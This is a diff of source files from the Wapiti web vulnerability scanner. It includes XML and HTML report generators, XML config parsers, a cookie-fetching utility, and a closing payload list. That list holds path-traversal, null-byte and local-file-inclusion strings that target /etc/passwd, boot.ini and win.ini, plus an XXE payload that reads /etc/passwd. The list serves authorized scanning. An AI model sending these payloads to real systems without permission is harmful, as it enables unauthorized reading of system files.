# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
from wapitiCore.report.reportgenerator import ReportGenerator
|
||||
|
||||
|
||||
class XMLReportGenerator(ReportGenerator):
|
||||
"""
|
||||
This class generates a report with the method printToFile(fileName) which contains
|
||||
the information of all the vulnerabilities notified to this object through the
|
||||
method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info).
|
||||
The format of the file is XML and it has the following structure:
|
||||
<report type="security">
|
||||
<generatedBy id="Wapiti 3.0.1"/>
|
||||
<vulnerabilityTypeList>
|
||||
<vulnerabilityType name="SQL Injection">
|
||||
|
||||
<vulnerabilityTypeList>
|
||||
<vulnerabilityType name="SQL Injection">
|
||||
<vulnerabilityList>
|
||||
<vulnerability level="3">
|
||||
<url>http://www.a.com</url>
|
||||
<parameters>id=23</parameters>
|
||||
<info>SQL Injection</info>
|
||||
</vulnerability>
|
||||
</vulnerabilityList>
|
||||
</vulnerabilityType>
|
||||
</vulnerabilityTypeList>
|
||||
</report>
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._xml_doc = Document()
|
||||
self._flaw_types = {}
|
||||
|
||||
self._vulns = {}
|
||||
self._anomalies = {}
|
||||
|
||||
# Vulnerabilities
|
||||
def add_vulnerability_type(self, name, description="", solution="", references=None):
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
"desc": description,
|
||||
"sol": solution,
|
||||
"ref": references
|
||||
}
|
||||
if name not in self._vulns:
|
||||
self._vulns[name] = []
|
||||
|
||||
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
vuln_dict = {
|
||||
"method": request.method,
|
||||
"path": request.file_path,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
"http_request": request.http_repr(left_margin=""),
|
||||
"curl_command": request.curl_repr,
|
||||
}
|
||||
|
||||
if category not in self._vulns:
|
||||
self._vulns[category] = []
|
||||
self._vulns[category].append(vuln_dict)
|
||||
|
||||
# Anomalies
|
||||
def add_anomaly_type(self, name, description="", solution="", references=None):
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
"desc": description,
|
||||
"sol": solution,
|
||||
"ref": references
|
||||
}
|
||||
if name not in self._anomalies:
|
||||
self._anomalies[name] = []
|
||||
|
||||
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
anom_dict = {
|
||||
"method": request.method,
|
||||
"path": request.file_path,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
"http_request": request.http_repr(left_margin=""),
|
||||
"curl_command": request.curl_repr,
|
||||
}
|
||||
if category not in self._anomalies:
|
||||
self._anomalies[category] = []
|
||||
self._anomalies[category].append(anom_dict)
|
||||
|
||||
def generate_report(self, output_path):
|
||||
"""
|
||||
Create a xml file with a report of the vulnerabilities which have been logged with
|
||||
the method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info)
|
||||
"""
|
||||
|
||||
report = self._xml_doc.createElement("report")
|
||||
report.setAttribute("type", "security")
|
||||
self._xml_doc.appendChild(report)
|
||||
|
||||
# Add report infos
|
||||
report_infos = self._xml_doc.createElement("report_infos")
|
||||
generator_name = self._xml_doc.createElement("info")
|
||||
generator_name.setAttribute("name", "generatorName")
|
||||
generator_name.appendChild(self._xml_doc.createTextNode("wapiti"))
|
||||
report_infos.appendChild(generator_name)
|
||||
|
||||
generator_version = self._xml_doc.createElement("info")
|
||||
generator_version.setAttribute("name", "generatorVersion")
|
||||
generator_version.appendChild(self._xml_doc.createTextNode(self._infos["version"]))
|
||||
report_infos.appendChild(generator_version)
|
||||
|
||||
scope = self._xml_doc.createElement("info")
|
||||
scope.setAttribute("name", "scope")
|
||||
scope.appendChild(self._xml_doc.createTextNode(self._infos["scope"]))
|
||||
report_infos.appendChild(scope)
|
||||
|
||||
date_of_scan = self._xml_doc.createElement("info")
|
||||
date_of_scan.setAttribute("name", "dateOfScan")
|
||||
date_of_scan.appendChild(self._xml_doc.createTextNode(self._infos["date"]))
|
||||
report_infos.appendChild(date_of_scan)
|
||||
|
||||
target = self._xml_doc.createElement("info")
|
||||
target.setAttribute("name", "target")
|
||||
target.appendChild(self._xml_doc.createTextNode(self._infos["target"]))
|
||||
report_infos.appendChild(target)
|
||||
|
||||
report.appendChild(report_infos)
|
||||
|
||||
vulnerabilities = self._xml_doc.createElement("vulnerabilities")
|
||||
anomalies = self._xml_doc.createElement("anomalies")
|
||||
|
||||
# Loop on each flaw classification
|
||||
for flaw_type in self._flaw_types:
|
||||
container = None
|
||||
classification = ""
|
||||
flaw_dict = {}
|
||||
if flaw_type in self._vulns:
|
||||
container = vulnerabilities
|
||||
classification = "vulnerability"
|
||||
flaw_dict = self._vulns
|
||||
elif flaw_type in self._anomalies:
|
||||
container = anomalies
|
||||
classification = "anomaly"
|
||||
flaw_dict = self._anomalies
|
||||
|
||||
# Child nodes with a description of the flaw type
|
||||
flaw_type_node = self._xml_doc.createElement(classification)
|
||||
flaw_type_node.setAttribute("name", flaw_type)
|
||||
flaw_type_desc = self._xml_doc.createElement("description")
|
||||
flaw_type_desc.appendChild(self._xml_doc.createCDATASection(self._flaw_types[flaw_type]["desc"]))
|
||||
flaw_type_node.appendChild(flaw_type_desc)
|
||||
flaw_type_solution = self._xml_doc.createElement("solution")
|
||||
flaw_type_solution.appendChild(self._xml_doc.createCDATASection(self._flaw_types[flaw_type]["sol"]))
|
||||
flaw_type_node.appendChild(flaw_type_solution)
|
||||
|
||||
flaw_type_references = self._xml_doc.createElement("references")
|
||||
for ref in self._flaw_types[flaw_type]["ref"]:
|
||||
reference_node = self._xml_doc.createElement("reference")
|
||||
title_node = self._xml_doc.createElement("title")
|
||||
url_node = self._xml_doc.createElement("url")
|
||||
title_node.appendChild(self._xml_doc.createTextNode(ref))
|
||||
url = self._flaw_types[flaw_type]["ref"][ref]
|
||||
url_node.appendChild(self._xml_doc.createTextNode(url))
|
||||
reference_node.appendChild(title_node)
|
||||
reference_node.appendChild(url_node)
|
||||
flaw_type_references.appendChild(reference_node)
|
||||
flaw_type_node.appendChild(flaw_type_references)
|
||||
|
||||
# And child nodes with each flaw of the current type
|
||||
entries_node = self._xml_doc.createElement("entries")
|
||||
for flaw in flaw_dict[flaw_type]:
|
||||
entry_node = self._xml_doc.createElement("entry")
|
||||
method_node = self._xml_doc.createElement("method")
|
||||
method_node.appendChild(self._xml_doc.createTextNode(flaw["method"]))
|
||||
entry_node.appendChild(method_node)
|
||||
path_node = self._xml_doc.createElement("path")
|
||||
path_node.appendChild(self._xml_doc.createTextNode(flaw["path"]))
|
||||
entry_node.appendChild(path_node)
|
||||
level_node = self._xml_doc.createElement("level")
|
||||
level_node.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
|
||||
entry_node.appendChild(level_node)
|
||||
parameter_node = self._xml_doc.createElement("parameter")
|
||||
parameter_node.appendChild(self._xml_doc.createTextNode(flaw["parameter"]))
|
||||
entry_node.appendChild(parameter_node)
|
||||
info_node = self._xml_doc.createElement("info")
|
||||
info_node.appendChild(self._xml_doc.createTextNode(flaw["info"]))
|
||||
entry_node.appendChild(info_node)
|
||||
http_request_node = self._xml_doc.createElement("http_request")
|
||||
http_request_node.appendChild(self._xml_doc.createCDATASection(flaw["http_request"]))
|
||||
entry_node.appendChild(http_request_node)
|
||||
curl_command_node = self._xml_doc.createElement("curl_command")
|
||||
curl_command_node.appendChild(self._xml_doc.createCDATASection(flaw["curl_command"]))
|
||||
entry_node.appendChild(curl_command_node)
|
||||
entries_node.appendChild(entry_node)
|
||||
flaw_type_node.appendChild(entries_node)
|
||||
container.appendChild(flaw_type_node)
|
||||
report.appendChild(vulnerabilities)
|
||||
report.appendChild(anomalies)
|
||||
|
||||
with open(output_path, "w") as fd:
|
||||
self._xml_doc.writexml(fd, addindent=" ", newl="\n")
|
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original author :
|
||||
# David del Pozo
|
||||
# Alberto Pastor
|
||||
# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from xml.parsers import expat
|
||||
|
||||
from wapitiCore.report.reportgeneratorinfo import ReportGeneratorInfo
|
||||
|
||||
|
||||
class ReportGeneratorsXMLParser:
|
||||
|
||||
REPORT_GENERATOR = "reportGenerator"
|
||||
REPORT_GENERATOR_KEY = "reportTypeKey"
|
||||
REPORT_GENERATOR_CLASS_MODULE = "classModule"
|
||||
REPORT_GENERATOR_CLASSNAME = "className"
|
||||
|
||||
def __init__(self):
|
||||
self._parser = expat.ParserCreate()
|
||||
self._parser.StartElementHandler = self.start_element
|
||||
self._parser.EndElementHandler = self.end_element
|
||||
self._parser.CharacterDataHandler = self.char_data
|
||||
self.reportGenerators = []
|
||||
self.repGen = None
|
||||
self.tag = ""
|
||||
|
||||
def parse(self, filename):
|
||||
with open(filename) as f:
|
||||
content = f.read()
|
||||
self.feed(content)
|
||||
|
||||
def feed(self, data):
|
||||
self._parser.Parse(data, 0)
|
||||
|
||||
def close(self):
|
||||
self._parser.Parse("", 1)
|
||||
del self._parser
|
||||
|
||||
def start_element(self, name, attrs):
|
||||
if name == self.REPORT_GENERATOR:
|
||||
self.repGen = ReportGeneratorInfo()
|
||||
elif name == self.REPORT_GENERATOR_KEY:
|
||||
self.tag = self.REPORT_GENERATOR_KEY
|
||||
elif name == self.REPORT_GENERATOR_CLASSNAME:
|
||||
self.tag = self.REPORT_GENERATOR_CLASSNAME
|
||||
elif name == self.REPORT_GENERATOR_CLASS_MODULE:
|
||||
self.tag = self.REPORT_GENERATOR_CLASS_MODULE
|
||||
|
||||
def end_element(self, name):
|
||||
if name == self.REPORT_GENERATOR:
|
||||
self.reportGenerators.append(self.repGen)
|
||||
|
||||
def char_data(self, data):
|
||||
if self.tag == self.REPORT_GENERATOR_KEY:
|
||||
self.repGen.set_key(data)
|
||||
elif self.tag == self.REPORT_GENERATOR_CLASSNAME:
|
||||
self.repGen.set_class_name(data)
|
||||
elif self.tag == self.REPORT_GENERATOR_CLASS_MODULE:
|
||||
self.repGen.set_class_module(data)
|
||||
self.tag = ""
|
||||
|
||||
def get_report_generators(self):
|
||||
return self.reportGenerators
|
|
@ -0,0 +1,97 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2013-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from xml.parsers import expat
|
||||
|
||||
from wapitiCore.language.vulnerability import Anomaly
|
||||
|
||||
|
||||
class AnomalyXMLParser:
|
||||
|
||||
ANOMALY = "anomaly"
|
||||
ANOMALY_NAME = "name"
|
||||
ANOMALY_DESCRIPTION = "description"
|
||||
ANOMALY_SOLUTION = "solution"
|
||||
ANOMALY_REFERENCE = "reference"
|
||||
ANOMALY_REFERENCES = "references"
|
||||
ANOMALY_REFERENCE_TITLE = "title"
|
||||
ANOMALY_REFERENCE_URL = "url"
|
||||
|
||||
def __init__(self):
|
||||
self._parser = expat.ParserCreate()
|
||||
self._parser.StartElementHandler = self.start_element
|
||||
self._parser.EndElementHandler = self.end_element
|
||||
self._parser.CharacterDataHandler = self.char_data
|
||||
self.anomalies = []
|
||||
self.anom = None
|
||||
self.references = {}
|
||||
self.title = ""
|
||||
self.url = ""
|
||||
self.tag = ""
|
||||
|
||||
def parse(self, filename):
|
||||
with open(filename) as f:
|
||||
content = f.read()
|
||||
self.feed(content)
|
||||
|
||||
def feed(self, data):
|
||||
self._parser.Parse(data, 0)
|
||||
|
||||
def close(self):
|
||||
self._parser.Parse("", 1)
|
||||
del self._parser
|
||||
|
||||
def start_element(self, name, attrs):
|
||||
if name == self.ANOMALY:
|
||||
self.anom = Anomaly()
|
||||
self.anom.set_name(attrs[self.ANOMALY_NAME])
|
||||
elif name == self.ANOMALY_DESCRIPTION:
|
||||
self.tag = self.ANOMALY_DESCRIPTION
|
||||
elif name == self.ANOMALY_SOLUTION:
|
||||
# self.tag = self.ANOMALY_SOLUTION
|
||||
self.anom.set_solution(attrs["text"])
|
||||
elif name == self.ANOMALY_REFERENCES:
|
||||
self.references = {}
|
||||
elif name == self.ANOMALY_REFERENCE:
|
||||
self.tag = self.ANOMALY_REFERENCE
|
||||
elif name == self.ANOMALY_REFERENCE_TITLE:
|
||||
self.tag = self.ANOMALY_REFERENCE_TITLE
|
||||
elif name == self.ANOMALY_REFERENCE_URL:
|
||||
self.tag = self.ANOMALY_REFERENCE_URL
|
||||
|
||||
def end_element(self, name):
|
||||
if name == self.ANOMALY:
|
||||
self.anomalies.append(self.anom)
|
||||
elif name == self.ANOMALY_REFERENCE:
|
||||
self.references[self.title] = self.url
|
||||
elif name == self.ANOMALY_REFERENCES:
|
||||
self.anom.set_references(self.references)
|
||||
|
||||
def char_data(self, data):
|
||||
if self.tag == self.ANOMALY_DESCRIPTION:
|
||||
self.anom.set_description(data)
|
||||
# elif self.tag==self.ANOMALY_SOLUTION:
|
||||
# self.anom.set_solution(data)
|
||||
elif self.tag == self.ANOMALY_REFERENCE_TITLE:
|
||||
self.title = data
|
||||
elif self.tag == self.ANOMALY_REFERENCE_URL:
|
||||
self.url = data
|
||||
self.tag = ""
|
||||
|
||||
def get_anomalies(self):
|
||||
return self.anomalies
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,33 @@
|
|||
/* =Typography
|
||||
-----------------------------------------------------------------------------*/
|
||||
body {
|
||||
|
||||
}
|
||||
|
||||
/* =Links
|
||||
-----------------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/* =Layout
|
||||
-----------------------------------------------------------------------------*/
|
||||
#page {
|
||||
max-width: 940px;
|
||||
padding: 0 10px;
|
||||
margin: 24px auto;
|
||||
}
|
||||
|
||||
|
||||
/* =Header
|
||||
-----------------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/* =Nav
|
||||
-----------------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/* =Misc
|
||||
-----------------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/* =Footer
|
||||
-----------------------------------------------------------------------------*/
|
|
@ -0,0 +1,89 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
# HTML Report Generator Module for Wapiti Project
|
||||
# Wapiti Project (http://wapiti.sourceforge.net)
|
||||
#
|
||||
# Copyright (C) 2017-2018 Nicolas SURRIBAS
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import os
|
||||
import sys
|
||||
from shutil import copytree, rmtree, copy
|
||||
from urllib.parse import urlparse
|
||||
import time
|
||||
|
||||
from mako.template import Template
|
||||
|
||||
from wapitiCore.report.jsonreportgenerator import JSONReportGenerator
|
||||
|
||||
|
||||
class HTMLReportGenerator(JSONReportGenerator):
|
||||
"""
|
||||
This class generates a Wapiti scan report in HTML format.
|
||||
"""
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._final__path = None
|
||||
|
||||
BASE_DIR = os.path.dirname(sys.modules["wapitiCore"].__file__)
|
||||
REPORT_DIR = "report_template"
|
||||
|
||||
def generate_report(self, output_path):
|
||||
"""
|
||||
Copy the report structure in the specified 'output_path' directory.
|
||||
If this directory already exists, overwrite the template files and add the HTML report.
|
||||
(This way we keep previous generated HTML files).
|
||||
"""
|
||||
if os.path.isdir(output_path):
|
||||
for subdir in ("css", "js"):
|
||||
try:
|
||||
rmtree(os.path.join(output_path, subdir))
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
copytree(os.path.join(self.BASE_DIR, self.REPORT_DIR, subdir), os.path.join(output_path, subdir))
|
||||
copy(os.path.join(self.BASE_DIR, self.REPORT_DIR, "logo_clear.png"), output_path)
|
||||
else:
|
||||
copytree(os.path.join(self.BASE_DIR, self.REPORT_DIR), output_path)
|
||||
|
||||
mytemplate = Template(
|
||||
filename=os.path.join(self.BASE_DIR, self.REPORT_DIR, "report.html"),
|
||||
input_encoding="utf-8",
|
||||
output_encoding="utf-8"
|
||||
)
|
||||
|
||||
filename = "{}_{}.html".format(
|
||||
urlparse(self._infos["target"]).netloc.replace(":", "_"),
|
||||
time.strftime("%m%d%Y_%H%M", self._date)
|
||||
)
|
||||
self._final__path = os.path.join(output_path, filename)
|
||||
|
||||
with open(self._final__path, "w") as fd:
|
||||
fd.write(
|
||||
mytemplate.render_unicode(
|
||||
wapiti_version=self._infos["version"],
|
||||
target=self._infos["target"],
|
||||
scan_date=self._infos["date"],
|
||||
scan_scope=self._infos["scope"],
|
||||
vulnerabilities=self._vulns,
|
||||
anomalies=self._anomalies,
|
||||
flaws=self._flaw_types
|
||||
)
|
||||
)
|
||||
|
||||
@property
|
||||
def final_path(self):
|
||||
return self._final__path
|
|
@ -0,0 +1,133 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2006-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from urllib.parse import urlparse, urlunparse
|
||||
import argparse
|
||||
|
||||
from wapitiCore.net import jsoncookie
|
||||
from wapitiCore.net.crawler import Crawler
|
||||
from wapitiCore.language.language import _
|
||||
from wapitiCore.net.web import Request
|
||||
|
||||
|
||||
def getcookie_main():
|
||||
parser = argparse.ArgumentParser(description="Wapiti-getcookie: An utility to grab cookies from a webpage")
|
||||
|
||||
parser.add_argument(
|
||||
'-u', '--url',
|
||||
help='First page to fetch for cookies',
|
||||
required=True
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
'-c', '--cookie',
|
||||
help='Cookie file in Wapiti JSON format where cookies will be stored',
|
||||
required=True
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
'-p', '--proxy',
|
||||
help='Address of the proxy server to use'
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
'-d', '--data',
|
||||
help='Data to send to the form with POST'
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
parts = urlparse(args.url)
|
||||
if not parts.scheme or not parts.netloc or not parts.path:
|
||||
print(_("Invalid base URL was specified, please give a complete URL with protocol scheme"
|
||||
" and slash after the domain name."))
|
||||
exit()
|
||||
|
||||
server = parts.netloc
|
||||
base = urlunparse((parts.scheme, parts.netloc, parts.path, '', '', ''))
|
||||
|
||||
crawler = Crawler(base)
|
||||
|
||||
if args.proxy:
|
||||
proxy_parts = urlparse(args.proxy)
|
||||
if proxy_parts.scheme and proxy_parts.netloc:
|
||||
if proxy_parts.scheme.lower() in ("http", "https", "socks"):
|
||||
crawler.set_proxy(args.proxy)
|
||||
|
||||
# Open or create the cookie file and delete previous cookies from this server
|
||||
jc = jsoncookie.JsonCookie()
|
||||
jc.open(args.cookie)
|
||||
jc.delete(server)
|
||||
|
||||
page = crawler.get(Request(args.url), follow_redirects=True)
|
||||
|
||||
# A first crawl is sometimes necessary, so let's fetch the webpage
|
||||
jc.addcookies(crawler.session_cookies)
|
||||
|
||||
if not args.data:
|
||||
# Not data specified, try interactive mode by fetching forms
|
||||
forms = []
|
||||
for i, form in enumerate(page.iter_forms(autofill=False)):
|
||||
if i == 0:
|
||||
print('')
|
||||
print(_("Choose the form you want to use or enter 'q' to leave :"))
|
||||
print("{0}) {1}".format(i, form))
|
||||
forms.append(form)
|
||||
|
||||
ok = False
|
||||
if forms:
|
||||
nchoice = -1
|
||||
print('')
|
||||
while not ok:
|
||||
choice = input(_("Enter a number : "))
|
||||
if choice.isdigit():
|
||||
nchoice = int(choice)
|
||||
if len(forms) > nchoice >= 0:
|
||||
ok = True
|
||||
elif choice == 'q':
|
||||
break
|
||||
|
||||
if ok:
|
||||
form = forms[nchoice]
|
||||
print('')
|
||||
print(_("Please enter values for the following form: "))
|
||||
print(_("url = {0}").format(form.url))
|
||||
|
||||
post_params = form.post_params
|
||||
for i, kv in enumerate(post_params):
|
||||
field, value = kv
|
||||
if value:
|
||||
new_value = input(field + " (" + value + ") : ")
|
||||
else:
|
||||
new_value = input("{}: ".format(field))
|
||||
post_params[i] = [field, new_value]
|
||||
|
||||
request = Request(form.url, post_params=post_params)
|
||||
crawler.send(request, follow_redirects=True)
|
||||
|
||||
jc.addcookies(crawler.session_cookies)
|
||||
else:
|
||||
request = Request(args.url, post_params=args.data)
|
||||
crawler.send(request, follow_redirects=True)
|
||||
|
||||
jc.addcookies(crawler.session_cookies)
|
||||
|
||||
jc.dump()
|
||||
jc.close()
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,97 @@
|
|||
http://www.google.fr/?
|
||||
/etc/passwd
|
||||
/etc/passwd\0
|
||||
/etc/services
|
||||
/etc/services\0
|
||||
c:\\boot.ini
|
||||
c:\\boot.ini\0
|
||||
c:\\windows\win.ini
|
||||
c:\\windows\win.ini\0
|
||||
c:/windows/win.ini
|
||||
c:/windows/win.ini\0
|
||||
../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../etc/passwd\0
|
||||
../../../../../../../../../../../../../../../../../../../../etc/passwd\0
|
||||
../../../../../../../../../../etc/services
|
||||
../../../../../../../../../../../../../../../../../../../../etc/services
|
||||
../../../../../../../../../../etc/services\0
|
||||
../../../../../../../../../../../../../../../../../../../../etc/services\0
|
||||
../../../../../../../../../../boot.ini
|
||||
../../../../../../../../../../../../../../../../../../../../boot.ini
|
||||
../../../../../../../../../../boot.ini\0
|
||||
../../../../../../../../../../../../../../../../../../../../boot.ini\0
|
||||
../../../../../../../../../../windows/win.ini
|
||||
../../../../../../../../../../../../../../../../../../../../windows/win.ini
|
||||
../../../../../../../../../../windows/win.ini\0
|
||||
../../../../../../../../../../../../../../../../../../../../windows/win.ini\0
|
||||
[VALUE]/../../../../../../../../../../etc/passwd
|
||||
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
[VALUE]/../../../../../../../../../../etc/passwd\0
|
||||
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0
|
||||
[VALUE]/../../../../../../../../../../etc/services
|
||||
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
|
||||
[VALUE]/../../../../../../../../../../etc/services\0
|
||||
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0
|
||||
[VALUE]/../../../../../../../../../../windows/win.ini
|
||||
[VALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini
|
||||
[VALUE]/../../../../../../../../../../windows/win.ini\0
|
||||
[VALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini\0
|
||||
[DIRVALUE]/../../../../../../../../../../etc/passwd
|
||||
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
[DIRVALUE]/../../../../../../../../../../etc/passwd\0
|
||||
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0
|
||||
[DIRVALUE]/../../../../../../../../../../etc/services
|
||||
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
|
||||
[DIRVALUE]/../../../../../../../../../../etc/services\0
|
||||
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0
|
||||
[DIRVALUE]/../../../../../../../../../../windows/win.ini
|
||||
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini
|
||||
[DIRVALUE]/../../../../../../../../../../windows/win.ini\0
|
||||
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini\0
|
||||
file:///etc/passwd
|
||||
file://c:\\boot.ini
|
||||
file://c:\\windows\win.ini
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd\0
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services\0
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//boot.ini
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//boot.ini\0
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
|
||||
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//windows/win.ini\0
|
||||
/etc/passwd\0index.htm
|
||||
/etc/passwd\0index.html
|
||||
/etc/passwd\0index.php
|
||||
/etc/passwd\0index.asp
|
||||
/etc/passwd\0index.aspx
|
||||
/etc/passwd\0index.css
|
||||
c:\\windows\win.ini\0index.htm
|
||||
c:\\windows\win.ini\0index.html
|
||||
c:\\windows\win.ini\0index.php
|
||||
c:\\windows\win.ini\0index.asp
|
||||
c:\\windows\win.ini\0index.aspx
|
||||
c:\\windows\win.ini\0index.css
|
||||
../../../../../../../../../../etc/passwd\0index.htm
|
||||
../../../../../../../../../../etc/passwd\0index.html
|
||||
../../../../../../../../../../etc/passwd\0index.php
|
||||
../../../../../../../../../../etc/passwd\0index.asp
|
||||
../../../../../../../../../../etc/passwd\0index.aspx
|
||||
../../../../../../../../../../etc/passwd\0index.css
|
||||
../../../../../../../../../../etc/passwd\0pix.gif
|
||||
../../../../../../../../../../windows\win.ini\0index.htm
|
||||
../../../../../../../../../../windows\win.ini\0index.html
|
||||
../../../../../../../../../../windows\win.ini\0index.php
|
||||
../../../../../../../../../../windows\win.ini\0index.asp
|
||||
../../../../../../../../../../windows\win.ini\0index.aspx
|
||||
../../../../../../../../../../windows\win.ini\0index.css
|
||||
../../../../../../../../../../windows\win.ini\0pix.gix
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo[<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
||||
